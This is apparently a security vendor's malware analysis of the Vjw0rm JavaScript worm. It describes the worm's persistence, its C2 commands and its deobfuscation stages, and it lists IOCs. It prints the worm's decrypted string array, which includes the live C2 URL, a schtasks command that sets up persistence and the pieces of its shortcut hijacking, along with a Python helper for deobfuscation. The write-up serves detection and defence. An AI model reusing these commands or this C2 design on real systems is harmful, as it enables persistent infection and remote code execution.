A Quick Analysis of Vjw0rm

Vjw0rm is a javascript-based worm. It keeps coming up with different AV bypass mechanisms day by day, and according to our research, Vjw0rm was first seen in 2020-2021.

Vjw0rm can perform operations with different commands. It communicates with the C2 server and performs some actions on the infected computer according to the incoming commands. It also sends the computer and user name, AV name, and some information on the computer to the C2 server.

Overview

Persistence Methods

  • Regedit Keys
  • Task Scheduling
  • Startup Folder

Commands

  • File Operations
    • Create
    • Delete
    • R/W/X
  • Discovery
    • Operating System
    • Computer Name
    • User Name
    • Anti Virus

Network Activity

The Vjw0rm sends a POST request to the C2 server. It sends basic information about the computer to the C2 server in UserAgent.

POST [host]:[port]/Vre
User-Agent: [tag]\[logicaldiskserialnum]\[computername]\[username] \[osnamever]\[avdisplayname]\\[vbc_exist]\[prev_infected]\

Preview of Phishing (Part: 1)

Execution of Vjw0rm(Part: 2)

The first persistence method is regedit entries:

The second persistence method is task scheduling named Skype:

The http requests for the C2 server every 7 seconds are as follows:

Below is the network traffic made by Vjw0rm:

Deobfuscation of Vjw0rm(Part: 3)

Vjw0rm uses a complex deobfuscation mechanism, so you can refer to the image below for our analysis.

When we open the Vjw0rm malware to analyze it, we will see the following obfuscated javascript codes

If we look at the code a bit, we can see that custom functions are used for encryption. Now, let’s take over the decryption process by following these commands.

First, let’s get the Gcw variable using the sPI function in the javascript code:

We can see that the variable Gcw is actually a “constructor” of the type string. When we continue the analysis, we see that Xtc is actually a decrypter function again. When the variable Xtc is decrypted again with sPI function, another decryption function is generated as follows:

For the second step of deobfuscation, we perform a two-layer decryption using the two decrypter functions obtained until this point. When decryption in this step is finished, we get an output like the one below:

Here, we get a third decrypter function. Since the output of the function will still be a js command after going through certain mathematical operations, the eval function is used to switch from string values to actual js commands.

When we get the return value of the decrypter function (function Ox$) in stage 2, we move to stage 3. It looks like a bit complex obfuscation process is applied here. So, we divided the code in this stage into four parts.

At the beginning of the code, many js codes in strings are waiting to be decrypted. Actually, these values will be called in part 3 of this part and will be decrypted.

The second part contains the keywords of the malicious code. We can think of this part as the starting code of part 3. This line is the only called function in the code, and it starts with the $af18392093 function that performs decryption (obviously, the $af18392093 function will also perform decryption in itself and turn into a different function with eval).

The 3rd part is the main part to run Vjw0rm. We will deobfuscate this part in detail in the next article. In short, we can think of it as a mechanism to run parameter-by-parameter to get the strings obtained in part 4 in a proper format.

Finally, part 4 contains the encrypted functions to decrypt the variable _$_f3ce a second time.

The value of _$_f3ce that we decrypt using the functions in these parts, i.e. part 4, is as follows:

We have the keywords that Vjw0rm runs in a clean format. But this array is disorganized. We cannot directly concatenate and run these strings. Here, we need to use the code in step 3, part 3.

If we look again at stage 3.3, we can see that the indexes of the variable _$_f3ce (actually the array) are always accessed. This means that the actual code to execute the commands properly is here.

The first step is to replace the _$_f3ce indexes to see the full version. We can do this with the following Python code:

import re

_f3ce = ["WScript.Shell", "Scripting.FileSystemObject", "Shell.Application", "Microsoft.XMLHTTP", "HKCU", "HKLM", "HKCU\\vjw0rm", "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "HKLM\\SOFTWARE\\Classes\\", "REG_SZ", "\\defaulticon\\", "winmgmts:", "win32_logicaldisk", "Win32_OperatingSystem", "AntiVirusProduct", "|V|", "\\", "TD$$$", "_", "ScriptFullName", "ScriptName", "RegRead", "split", ":\\", "TRUE", "RegWrite", "FALSE", "Vre", "", "Cl", "Quit", "Sc", "temp", "CreateTextFile", "Write", "Close", "run", "Ex", "Rn", "OpenTextFile", "ReadAll", "replace", "wscript.exe //B \"", "\"", "Up", "|U|", "Un", "Temp", "1CYH0WDT4T", "%RgNe%", "%sfdr", "%n", "%f", "RF", "Sleep", "%", "ExpandEnvironmentStrings", "POST", "http://severdops.ddns.net:5050/", "open", "User-Agent:", "SetRequestHeader", "send", "responsetext", "Windir", "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe", "fileexists", "YES", "NO", "COMPUTERNAME", "USERNAME", "InstancesOf", "atEnd", "moveNext", "item", "Caption", "winmgmts:\\\\localhost\\root\\securitycenter", "DisplayName", "2", "volumeserialnumber", "AppData", "CopyFile", "Schtasks /create /sc minute /mo 30 /tn Skype /tr \"", "Path", "Self", "NameSpace", "DeviceID", "GetDrive", "IsReady", "DriveType", "FileExists", "attributes", "GetFile", "SubFolders", "GetFolder", " ", "name", ".lnk", "CreateShortCut", "WindowStyle", "TargetPath", "cmd.exe", "Arguments", "/c start ", "&start explorer ", "&exit", "HKLM\\software\\classes\\folder\\defaulticon\\", "IconLocation", ",", "indexOf", "Save", "Files", ".", "lnk", "&start ", "length" ]
commands=""

with open("commands.txt","r") as file:
    commands = file.read()

pattern = r'_\$_f3ce\[\d+\]'
matches = re.findall(pattern, commands)

for i in matches:
    commands=commands.replace(i, '"'+eval(i[2:])+'"')

print(commands)

Then, let’s make the encrypted functions in 3.1 clean as follows:

When we decrypt these:

Finally, when we adapt these values to the code in 3.3, we can see the actual commanding mechanism of Vjw0rm.

Getting the computer name, antivirus software program, and user name. It also checks if the computer has vbc.exe under C:\Windows\Microsoft.NET\Framework\v2.0.50727. If it exists, it will report YES to the C2 server. Otherwise, it will report NO.

This is where the persistence process is done. First, it creates a regedit entry named 1CYH0WDT4T, then schedules a task named Skype to run Vjw0rm every 30 minutes. Then, the malicious script is copied to the Startup folder using the CopyFile function.

It checks if there is a system it has already infiltrated. According to its checks, it reports “TRUE” or “FALSE” to the server.

At this point, communication starts with the C2 server via http[:]//severdops.ddns.net:5050/Vre:

The following tasks are performed according to the command coming from the server every 7 seconds.

  • Cl: This parameter stops the execution of the script.
  • Sc: Writes and executes the code from the c2 server to a temporary file.
  • Ex: Executes the code transmitted by the C2 server.
  • Rn: Vjw0rm reruns by modifying its own code.
  • Up: Creates and executes a temporary file containing javascript code.
  • Un: Allows to remove malware
  • Rf: Same as the SC parameter.

Analyze Vjw0rm with DOCGuard

The phishing file:

https://app.docguard.io/639735428ba07b16525f2ac1bd7ec18c2767a68c8d6d1bf02c6b5a522971fff1/results/dashboard

Vjw0rm script file:

https://app.docguard.io/822b0e065dd9e5bb4441ab4e7641f73e34d240272b2c664141d07abdd0ed7f2d/6c1a52bf-f7f8-4181-bf54-43f5b9a51c49/0/results/dashboard

IOCs:

sha256639735428ba07b16525f2ac1bd7ec18c2767a68c8d6d1bf02c6b5a522971fff1
sha256822b0e065dd9e5bb4441ab4e7641f73e34d240272b2c664141d07abdd0ed7f2d
URLhttp[:]//sumitaiouchi.com/Payment
URLhttps[:]//www.yogaoutreachproject.com/Spécifications
C2 Serverhttp[:]//severdops.ddns.net:5050/Vre

References

https://www.f-secure.com/v-descs/worm-js-vjw0rm.shtml

Comments are closed.